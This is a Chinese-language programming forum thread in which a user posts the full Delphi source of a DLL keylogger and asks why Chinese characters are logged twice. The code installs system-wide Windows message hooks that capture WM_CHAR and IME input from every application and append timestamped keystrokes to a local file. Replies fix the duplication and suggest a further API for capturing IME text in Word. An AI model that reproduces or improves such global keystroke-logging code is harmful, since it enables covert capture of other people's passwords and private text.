分数加为500分! 至高难问题: 记录键盘输入的汉字时,为什么会出现一个镜像汉字呢? (100分)

V

vcok

Unregistered / Unconfirmed
GUEST, unregistred user!
[:(]我在写一个键盘记录软件,目前已经能记录NOTEPAD中输入的英文字符了,但在记录中文输入时,发现在每一个汉字的后面又插入了与本汉字内码相反(高低位互换)的一个汉字.在程序中,我用HOOK拦截WM_IME_CHAR和WM_CHAR消息.每当录入一个汉字时,WM_IME_CHAR处理完毕后会生成两个WM_CHAR消息,每个消息包含汉字的一字节的编码,所以再处理WM_CHAR时会出现编码相反的另一个汉字.总不能屏蔽WM_CHAR吧,因为那样就无法记录英文输入了.目前我实在想不出来如何避免这种情况,有哪位高手能给出解决方案,高分相送.
源码如下:

library keyHook;

{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }

uses
SysUtils,
Messages,
windows,
Dialogs,
stdctrls,
Classes;



const
afilename='c:/debug.txt';
MAXSIZE=60;
type
TKeyBuf=record //键盘缓冲区
count:integer; //计数器
Buf:String;//缓冲区的内容
end;

var
HHGetMsgProc:HHook;
HHCallWndProc:HHook;
procsaveexit:pointer;
keyBuf:TKeyBuf; //键盘缓冲区实例
//.................................

procedure SaveInfo(str:string);stdcall;
var
f:textfile;
begin
assignfile(f,afilename);
if fileexists(afilename)=false then rewrite(f)
else append(f);
Writeln(f, TimeToStr(now())+' '+str);
closefile(f);
end;
//................................................
procedure HookProc(hWnd:integer;uMessage:integer;wParam:WPARAM;lParam:LPARAM);stdcall;
var
ch:Char;
begin

if (uMessage=WM_IME_CHAR) then //针对输入法
begin
inc(keyBuf.count,2);
keyBuf.Buf:=keyBuf.Buf+chr((wparam shr 8) and $ff)+chr(wparam and $ff);

if (keybuf.count>=MAXSIZE) then //回车键
begin
SaveInfo(keybuf.Buf);
keyBuf.Count:=0;
keyBuf.Buf:='';
end;
end
else
if (((uMessage=WM_CHAR))) and ((lParam and $1)=1) then //无输入法
begin
ch:=chr(wparam and $ff);

if ch<>#13 then
begin
inc(keyBuf.count);
keyBuf.Buf:=keyBuf.Buf+ch;
end;

if (ch=#13) or (keybuf.count>=MAXSIZE) then //回车键
begin
SaveInfo(keybuf.Buf);
keyBuf.Count:=0;
keyBuf.Buf:='';
end
end;

end;
//..................................
function GetMsgProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:pMSG;
hd,uMsg,wP,lP:integer;
begin
pcs:=PMSG(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(HHGetMsgProc,nCode,wParam,lParam);
end;
//................................................................
function CallWndProc(nCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
pcs:pCWPSTRUCT;
hd,uMsg,wP,lP:integer;
begin
pcs:=PCWPSTRUCT(lParam);
if (nCode>=0) and (pcs<>nil) and (pcs^.hwnd<>0) then
begin
hd:=pcs^.hwnd;
uMsg:=pcs^.message;
wp:=pcs^.wParam;
lp:=pcs^.lParam;
HookProc(hd,uMsg,wp,lp);
end;
Result:=CallNextHookEx(HHCallWndProc,nCode,wParam,lParam);
end;
//.......................................
function setkeyhook:bool;
begin
if HHGetMsgProc=0 then
begin
HHGetMsgProc:=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,hinstance,0);
end;

if HHCallWndProc=0 then
begin
HHCallWndProc:=SetWindowsHookEx(WH_CALLWNDPROC,CallWndProc,hinstance,0);
if HHCallWndProc=0 then UnhookWindowsHookEx(HHGetMsgProc);
end;

if (HHGetMsgProc<>0) and (HHCallWndProc<>0) then
begin
result:=True;
messageBeep(0);
end
else
Result:=False;


end;
//...........................................
function endkeyhook:bool;
begin
if HHCallWndProc<>0 then unhookwindowshookex(HHCallWndProc);
if HHGetMsgProc<>0 then unhookwindowshookex(HHGetMsgProc);
HHGetMsgProc:=0;
HHCallWndProc:=0;
messagebeep(0);


if (HHCallWndProc=0) and (HHGetMsgProc=0)then
result:=true
else
result:=false;
end;
//............................................
procedure keyhookexit;
begin
if HHGetMsgProc<>0 then
endkeyhook;
exitproc:=procsaveexit;
end;
{$R *.res}

exports
setkeyhook, endkeyhook;

begin
HHGetMsgProc:=0;
HHCallWndProc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.
 
有回答的吗?再加100分。
 
是不是记录了按下跟弹起的键啊(两次)
 
若是记录压下和弹起两次的话,那为什么在英文输入时会只记一次呢?
 
这个问题我以前好像碰到过,不记得怎么解决的了:(
 
if ch<>#13 then
这句话改为:
if (ch<>#13) and (ord(ch)<128) then
 
另外,特殊的汉字数据,如WORD中汉字,需使用WM_IME_COMPOSITION消息,要利用ImmGetCompositionString函数得到所输入的汉字。
 
多人接受答案了。
 
顶部